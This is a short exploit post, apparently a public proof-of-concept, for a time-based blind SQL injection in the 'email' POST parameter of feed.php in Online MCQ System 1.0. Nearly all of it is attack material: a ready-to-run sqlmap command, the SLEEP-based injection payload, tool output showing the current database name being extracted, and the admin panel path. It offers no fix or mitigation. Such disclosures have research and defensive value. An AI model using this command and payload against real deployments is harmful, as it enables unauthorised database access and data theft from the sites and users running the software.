Online MCQ System 1.0 SQL Injection

`=============================================================================================================================================  
| # Title : Online mcq System 1.0 Blind Sql injection vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits) |  
| # Vendor : https://www.kashipara.com/project/download/project2/user/2023/202304/kashipara.com_onlinemcq-zip.zip |  
=============================================================================================================================================  
  
[+] POC :  
  
[+] use Payload : E:\sqlmap>python sqlmap.py -u 127.0.0.1/onlinemcq/feed.php --method POST --data "submit=Submit&email=if" -p email --risk 3 --level 3 --dbms mysql --batch --current-db  
  
---  
Parameter: email (POST)  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: submit=Submit&email=if' AND (SELECT 2755 FROM (SELECT(SLEEP(5)))QbaB) AND 'daxF'='daxF  
---  
[16:18:22] [INFO] the back-end DBMS is MySQL  
[16:18:22] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions  
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y  
web application technology: PHP 8.0.30, Apache 2.4.58  
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)  
[16:18:27] [INFO] fetching current database  
[16:18:27] [INFO] retrieved:  
[16:18:37] [INFO] adjusting time delay to 1 second due to good response times  
project  
current database: 'project'  
  
[+] PAnel : http://127.0.0.1/onlinemcq/admin.php  
  
  
Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================  
`